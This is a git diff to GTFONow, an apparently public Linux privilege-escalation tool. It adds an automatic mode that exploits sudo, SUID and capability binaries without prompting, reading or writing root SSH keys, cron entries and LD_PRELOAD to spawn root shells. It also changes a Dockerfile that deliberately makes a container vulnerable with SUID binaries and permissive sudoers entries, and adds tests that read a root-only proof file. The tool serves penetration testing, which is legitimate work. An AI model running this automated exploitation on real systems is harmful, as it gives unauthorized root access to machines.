diff --git a/.github/workflows/docker-pytest.yml b/.github/workflows/docker-pytest.yml index 29c6655..43adcf4 100644 --- a/.github/workflows/docker-pytest.yml +++ b/.github/workflows/docker-pytest.yml @@ -26,9 +26,10 @@ jobs: - name: Run tests run: | docker run --name gtfonow_test_${{ matrix.python-version }} -d gtfonow_test:${{ matrix.python-version }} - + - name: Wait + run: sleep 15 - name: Run Pytest - run: docker exec gtfonow_test_${{ matrix.python-version }} su -l lowpriv -c "pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing" + run: docker exec -u lowpriv gtfonow_test_${{ matrix.python-version }} pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing - name: Copy coverage report from Docker container to host run: docker cp gtfonow_test_${{ matrix.python-version }}:/home/lowpriv/coverage.xml . diff --git a/Dockerfile b/Dockerfile index 1048c5b..5b9396b 100644 --- a/Dockerfile +++ b/Dockerfile @@ -23,10 +23,12 @@ RUN chmod u+s $(which tee) RUN chmod u+s $(which dd) RUN chmod u+s $(which mv) RUN chmod u+s $(which rbash) - +RUN pip install mock RUN useradd -ms /bin/bash lowpriv RUN useradd -ms /bin/bash higherpriv - +RUN ssh-keygen -N '' -f /root/.ssh/id_rsa +RUN cp /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys +RUN echo "ONLY_ROOT_CAN_READ_THIS" > /root/proof.txt RUN echo "lowpriv ALL=(ALL) NOPASSWD: /usr/bin/head" >> /etc/sudoers RUN echo "lowpriv ALL=(higherpriv) NOPASSWD: /usr/bin/vim" >> /etc/sudoers diff --git a/gtfonow/gtfonow.py b/gtfonow/gtfonow.py index 49ed879..c33ad3b 100644 --- a/gtfonow/gtfonow.py +++ b/gtfonow/gtfonow.py @@ -3249,6 +3249,7 @@ LIGHTGREY = '\033[37m' RESET = '\033[0m' YELLOW = '\033[0;33m' +BOLD = '\033[1m' class CustomLogger(logging.Logger): @@ -3271,7 +3272,7 @@ def set_level(self, level): class CustomFormatter(logging.Formatter): def format(self, record): if record.levelno == logging.INFO: - record.msg = LIGHTGREY + "[*] " + RESET + str(record.msg) + record.msg = GREEN + "[+] " + RESET + str(record.msg) elif record.levelno == logging.ERROR: record.msg = RED + "[x] " + RESET + str(record.msg) elif record.levelno == logging.WARNING: @@ -3318,7 +3319,7 @@ def execute_command(command): return None, "OS error occurred: " + str(e) -def arbitrary_file_read(binary, payload, user="root", command=None): +def arbitrary_file_read(binary, payload, auto, user="root", command=None): """Exploit arbitrary file read vulnerability. Args: @@ -3328,14 +3329,27 @@ def arbitrary_file_read(binary, payload, user="root", command=None): log.info("Performing arbitrary file read with %s", binary) if is_service_running("ssh"): - ssh_key_privesc(payload, user) + ssh_key_privesc(payload, user, command) + if auto: + return print("Enter the file that you wish to read. (eg: /etc/shadow)") file_to_read = input("> ") payload = payload.replace("file_to_read", file_to_read) os.system(payload) -def arbitrary_file_write(binary, payload, risk, user="root", command=None): +def get_arb_write_options(user): + options = [] + if is_service_running("ssh"): + options.append(("ssh", "Obtain shell by writing SSH key")) + if user == "root" and is_service_running("cron"): + options.append(("cron", "Obtain shell by writing to Cron")) + options.append(("ld_preload", "Obtain shell by writing to LD_PRELOAD")) + options.append(("arbitrary", "Arbitrary file Write (no shell)")) + return options + + +def arbitrary_file_write(binary, payload, risk, auto, user="root", command=None): """Exploit arbitrary file write. Args: @@ -3344,17 +3358,14 @@ def arbitrary_file_write(binary, payload, risk, user="root", command=None): user (str): User to exploit. """ log.info("Performing arbitrary file write with %s", binary) - options = [] - if risk == 2: - if is_service_running("ssh"): - options.append(("ssh", "Obtain shell by writing SSH key")) - if user == "root" and is_service_running("cron"): - options.append(("cron", "Obtain shell by writing to Cron")) - options.append(("ld_preload", "Obtain shell by writing to LD_PRELOAD")) - options.append(("arbitrary", "Arbitrary file Write (no shell)")) + if risk == 1: + manual_arbitrary_file_write(payload) + return + if risk == 2 and not auto: + options = get_arb_write_options(user) print("\nSelect an exploit option:") - for idx, (option_code, description) in enumerate(options): - print(GREEN + "[" + str(idx) + "] " + RESET + description) + for index, (_, description) in enumerate(options): + print(GREEN + "[" + str(index) + "] " + RESET + description) choice = get_user_choice("> ") chosen_option = options[choice][0] if chosen_option == "ssh": @@ -3365,8 +3376,15 @@ def arbitrary_file_write(binary, payload, risk, user="root", command=None): ld_preload_exploit(binary, payload, command) elif chosen_option == "arbitrary": manual_arbitrary_file_write(payload) - else: - manual_arbitrary_file_write(payload) + if risk == 2 and auto: + options = get_arb_write_options(user) + for option in options: + if option[0] == "ssh": + ssh_write_privesc(payload, user, command) + if option[0] == "ld_preload": + ld_preload_exploit(binary, payload, command) + if option[0] == "cron": + cron_priv_esc(payload, command) def manual_arbitrary_file_write(payload): @@ -3380,7 +3398,18 @@ def manual_arbitrary_file_write(payload): os.system(payload) -def exploit(binary, payload, exploit_type, risk, binary_path=None, user="root", command=None): +def spawn_shell(payload): + """Spawn shell, if exits with return code 0, we assume exploit worked and this is a user controlled exit.""" + if sys.version_info[0] < 3: + res = subprocess.call(payload, shell=True) + else: + res = subprocess.run(payload, shell=True) + if res.returncode == 0: + print("Thanks for using GTFONow!") + sys.exit() + + +def exploit(binary, payload, exploit_type, risk, auto, binary_path=None, user="root", command=None): """Exploit a binary. Args: @@ -3389,7 +3418,6 @@ def exploit(binary, payload, exploit_type, risk, binary_path=None, user="root", binary_path (str, optional): Path to binary.. Defaults to None. user (str, optional): User to exploit. Defaults to "root". """ - payload = payload["code"] if exploit_type == SUDO_NO_PASSWD and user != "root": payload = payload.replace("sudo", "sudo -u " + user) @@ -3398,27 +3426,31 @@ def exploit(binary, payload, exploit_type, risk, binary_path=None, user="root", else: payload = payload.replace("./"+binary, binary) if "file_to_read" in payload: - arbitrary_file_read(binary, payload, user, command) + arbitrary_file_read(binary, payload, auto, user, command) elif "file_to_write" in payload: - arbitrary_file_write(binary, payload, risk, user, command) + arbitrary_file_write(binary, payload, risk, auto, user, command) else: if command: execute_privileged_command(payload, command) else: log.info("Spawning %s shell", user) - os.system(payload) + spawn_shell(payload) def execute_privileged_command(payload, command): + log.debug("Executing %s", payload) process = subprocess.Popen( - payload, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True) - process.stdin.write(command + '\n') - + payload, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) + bytes_command = (command + "\n").encode('utf-8') + process.stdin.write(bytes_command) out, err = process.communicate() if out: - print('Output:', out) + print(out) + if process.returncode == 0: + print("Thanks for using GTFONow!") + sys.exit() if err: - print('Error:', err) + log.error(err) def get_sudo_l_output(): @@ -3477,8 +3509,23 @@ def check_sudo_binaries(sudo_l_output): "Payloads": payloads, "Type": "Sudo (Needs Password)" } - priv_escs.append(priv_esc) + priv_escs = priv_escs + expand_payloads(priv_esc) + + return priv_escs + + +def expand_payloads(priv_esc): + """Given a priv esc entry, expand into multiple payloads.""" + + priv_escs = [] + for payload in priv_esc["Payloads"]: + priv_esc_copy = priv_esc.copy() + priv_esc_copy["Payload"] = payload["code"] + priv_esc_copy["Payload Description"] = payload.get("description") + priv_esc_copy["Payload Type"] = payload_type(payload["code"]) + del priv_esc_copy["Payloads"] + priv_escs.append(priv_esc_copy) return priv_escs @@ -3500,6 +3547,7 @@ def check_sudo_nopasswd_binaries(sudo_l_output): for binary_path in binaries: binary = binary_path.split('/')[-1] if binary not in sudo_bins.keys(): + log.info("Found NOPASSWD binary %s, but no known exploit.", binary) continue payloads = sudo_bins.get(binary) @@ -3512,7 +3560,7 @@ def check_sudo_nopasswd_binaries(sudo_l_output): } log.warning("Found exploitable %s binary: %s", SUDO_NO_PASSWD, binary_path) - priv_escs.append(priv_esc) + priv_escs = priv_escs + expand_payloads(priv_esc) return priv_escs @@ -3534,7 +3582,7 @@ def check_suid_bins(): Returns: list: A list of potential privilege escalations. """ - potential_privesc = [] + priv_escs = [] for binary, payloads in suid_bins.items(): binary_path = get_binary_path(binary) if not binary_path: @@ -3553,11 +3601,12 @@ def check_suid_bins(): "SUID": file_properties.get("Owner") if is_suid else None, "SGID": file_properties.get("Group") if is_sgid else None } - potential_privesc.append(priv_esc) + priv_escs = priv_escs + expand_payloads(priv_esc) + log.warning("Found exploitable %s binary: %s", "suid" if is_suid else "sgid", binary_path) - return potential_privesc + return priv_escs def check_capability(binary_path, capability): @@ -3629,7 +3678,7 @@ def cron_priv_esc(payload, command=None): if command: execute_privileged_command(payload, command) else: - os.system("/bin/bash -p") + spawn_shell("/bin/bash -p") break time.sleep(1) count = count + 1 @@ -3684,7 +3733,7 @@ def ld_preload_exploit(binary, payload, command=None): if command: execute_privileged_command("/bin/bash -p", command) else: - os.system("/bin/bash -p") + spawn_shell("/bin/bash -p") def check_cap_bins(): @@ -3770,7 +3819,7 @@ def ssh_write_privesc(payload, user="root", command=None): home_dir = "/root" else: home_dir = "/home/"+user - log.info("Attempting to escalate using root's SSH key") + log.info("Writing SSH key to %s", home_dir+"/.ssh/authorized_keys") execute_command("ssh-keygen -N '' -f /tmp/gtfokey") with open("/tmp/gtfokey.pub", "r") as f: @@ -3786,7 +3835,7 @@ def ssh_write_privesc(payload, user="root", command=None): if command: execute_privileged_command(shell_payload, command) else: - os.system(shell_payload) + spawn_shell(shell_payload) def ssh_key_privesc(payload, user="root", command=None): @@ -3803,7 +3852,7 @@ def ssh_key_privesc(payload, user="root", command=None): home_dir = "/root" else: home_dir = "/home/"+user - log.info("Attempting to escalate using root's SSH key") + log.info("Checking for SSH keys in %s", home_dir+"/.ssh/") for key in key_names: path = home_dir+"/.ssh/"+key @@ -3819,7 +3868,7 @@ def ssh_key_privesc(payload, user="root", command=None): if command: execute_privileged_command(shell_payload, command) else: - os.system(shell_payload) + spawn_shell(shell_payload) def payload_type(payload): @@ -3856,7 +3905,9 @@ def get_binary_path(binary_name): for path in os.environ["PATH"].split(os.pathsep): full_path = os.path.join(path, binary_name) if os.path.isfile(full_path) and os.access(full_path, os.X_OK): + log.debug("Found %s at %s", binary_name, full_path) return full_path + log.debug("Could not find %s in PATH", binary_name) return None @@ -3976,6 +4027,8 @@ def parse_arguments(): "--command", help="Rather than spawn an interactive shell, issue a single command. Mainly for debugging purposes only.") parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output.') + parser.add_argument("-a", "--auto", action="store_true", + help="Auto exploit without prompting for user input.") return parser.parse_args() @@ -4017,28 +4070,43 @@ def display_privilege_escalation_options(priv_escs): logging.warning("No privilege escalations found.") sys.exit(1) - print("\nExploitable Binaries") + print("\nExploits available:") + for key, value in enumerate(priv_escs): print_formatted_priv_esc_option(key, value) def print_formatted_priv_esc_option(key, value): info = format_priv_esc_info(value) + print(GREEN+"["+str(key)+"] " + RESET + value['Binary'] + + GREEN + " " + value["Payload Type"] + RESET) + print(" Path: " + value["Path"]) + print(" Info: " + info) + if value.get("Payload Description"): + print(" Description: " + value["Payload Description"]) - # Initialize payload_options - payload_options = [] - # Populate payload_options, ensuring no duplicates - for payload in value["Payloads"]: - payload_desc = payload_type(payload["code"]) - if payload_desc not in payload_options: - payload_options.append(payload_desc) +def order_priv_escs(priv_esc): + """Order privilege escalations by exploitability, ease and impact.""" - payload_types = ", ".join(payload_options) + user = priv_esc.get("SudoUser") or priv_esc.get("SUID") + if user == "root" or priv_esc["Type"] == "Capability": + user_priority = 0 + else: + user_priority = 1 + + if priv_esc["Payload Type"] == "Shell": + payload_priority = 0 + elif priv_esc["Payload Type"] == "Arbitrary read": + payload_priority = 1 + elif priv_esc["Payload Type"] == "Arbitrary write": + payload_priority = 2 + elif priv_esc["Payload Type"] == "File Permission Change": + payload_priority = 3 + else: + payload_priority = 4 - print(GREEN+"["+str(key)+"] " + RESET + value['Binary']) - print(" Path: " + value["Path"] + "\n Type: " + - value["Type"] + "\n Info: " + info + "\n Payloads: " + payload_types) + return (user_priority, payload_priority) def format_priv_esc_info(priv_esc): @@ -4071,19 +4139,13 @@ def format_priv_esc_info(priv_esc): return info -def execute_payload(priv_esc, risk, command=None): - print("Payload Options") - for key, payload in enumerate(priv_esc["Payloads"]): - print(GREEN + "[" + str(key) + "] " + - RESET + priv_esc["Binary"] + GREEN + " " + payload_type(payload["code"]).lower() + RESET + " " + str(payload.get("description", ""))) - - choice = get_user_choice("Choose payload: ") +def execute_payload(priv_esc, risk, auto, command=None): user = priv_esc.get("SudoUser") or priv_esc.get("Owner") if user: - exploit(priv_esc["Binary"], priv_esc["Payloads"][choice], priv_esc["Type"], risk, + exploit(priv_esc["Binary"], priv_esc["Payload"], priv_esc["Type"], risk, auto, binary_path=priv_esc["Path"], user=user, command=command) else: - exploit(priv_esc["Binary"], priv_esc["Payloads"][choice], priv_esc["Type"], risk, + exploit(priv_esc["Binary"], priv_esc["Payload"], priv_esc["Type"], risk, auto, binary_path=priv_esc["Path"], command=command) @@ -4098,11 +4160,23 @@ def main(): args) priv_escs = sudo_privescs + suid_privescs + cap_privescs + priv_escs = sorted(priv_escs, key=order_priv_escs) + if args.auto and args.risk == 1: + priv_escs = [item for item in priv_escs if item["Payload Type"] in [ + "Shell", "Arbitrary read"]] + + for priv_esc in priv_escs: + execute_payload(priv_esc, args.risk, args.auto, args.command) + if args.auto and args.risk == 2: + priv_escs = [item for item in priv_escs if item["Payload Type"] in [ + "Shell", "Arbitrary read", "Arbitrary write"]] + for priv_esc in priv_escs: + execute_payload(priv_esc, args.risk, args.auto, args.command) display_privilege_escalation_options(priv_escs) choice = get_user_choice("Choose method to GTFO: ") selected_priv_esc = priv_escs[choice] - execute_payload(selected_priv_esc, args.risk, args.command) + execute_payload(selected_priv_esc, args.risk, args.auto, args.command) if __name__ == "__main__": diff --git a/gtfonow/tests/test_privesc.py b/gtfonow/tests/test_privesc.py index 52b3be2..dccbaa2 100644 --- a/gtfonow/tests/test_privesc.py +++ b/gtfonow/tests/test_privesc.py @@ -1,14 +1,29 @@ +from __future__ import print_function +import sys +import pytest +import os from gtfonow.gtfonow import * +log.set_level(logging.DEBUG) + +if sys.version_info >= (3, 3): + from unittest.mock import MagicMock, patch +else: + from mock import MagicMock, patch def test_check_suid_bins(): + log.debug(os.getenv('PATH')) + expected = { "Binary": "find", "Path": "/usr/bin/find", - "Payloads": suid_bins["find"], + "Payload": suid_bins["find"][0]["code"], + "Payload Description": suid_bins["find"][0].get("description"), "Type": "SUID/SGID Binary", "SUID": "root", - "SGID": None + "SGID": None, + "Payload Type": "Shell" + } res = check_suid_bins() @@ -16,15 +31,47 @@ def test_check_suid_bins(): def test_check_sudo_nopasswd_binaries(): + log.debug(os.getenv('PATH')) + sudo_l_output = get_sudo_l_output() - print(sudo_l_output) res = check_sudo_nopasswd_binaries(sudo_l_output) expected = { + "SudoUser": "root", "Binary": "head", "Path": "/usr/bin/head", - "Payloads": sudo_bins["head"], - "SudoUser": "root", - "Type": "Sudo NOPASSWD" + "Payload": sudo_bins["head"][0]["code"], + "Payload Description": sudo_bins["head"][0].get("description"), + "Type": "Sudo NOPASSWD", + "Payload Type": "Arbitrary read" } assert expected in res + + +PROOF_COMMAND = "cat /root/proof.txt" +test_cases = [ + ('head', sudo_bins["head"][0]["code"], SUDO_NO_PASSWD, + 2, True, '/usr/bin/head', PROOF_COMMAND), + ('find', suid_bins["find"][0]["code"], SUID_SGID, + 2, True, '/usr/bin/find', PROOF_COMMAND), + ('dd', suid_bins["dd"][0]["code"], SUID_SGID, + 2, True, '/usr/bin/dd', PROOF_COMMAND), + ('tee', suid_bins["tee"][0]["code"], SUID_SGID, + 2, True, '/usr/bin/tee', PROOF_COMMAND), + # ('cp', suid_bins["cp"][0]["code"], SUID_SGID, + # 2, True, '/usr/bin/cp', PROOF_COMMAND), + # ('mv', suid_bins["mv"][0]["code"], SUID_SGID, + # 2, True, '/usr/bin/mv', PROOF_COMMAND), +] + + +@pytest.mark.parametrize("binary, payload, exploit_type, risk, auto, binary_path, command", test_cases) +def test_exploit(capsys, binary, payload, exploit_type, risk, auto, binary_path, command): + log.debug(os.getenv('PATH')) + + sys.exit = MagicMock() + sys.exit.return_value = 0 + exploit(binary, payload, exploit_type, risk, auto, + binary_path=binary_path, command=command) + captured = capsys.readouterr() + assert "ONLY_ROOT_CAN_READ_THIS" in captured.out diff --git a/supervisord.conf b/supervisord.conf index 810326a..8209018 100644 --- a/supervisord.conf +++ b/supervisord.conf @@ -7,10 +7,4 @@ command=/usr/sbin/cron -f -L 15 [program:sshd] user=root -command=/usr/sbin/sshd -D - - -[program:myapp] -command=bash # Replace with your main process command -user=lowpriv - +command=/usr/sbin/sshd -D \ No newline at end of file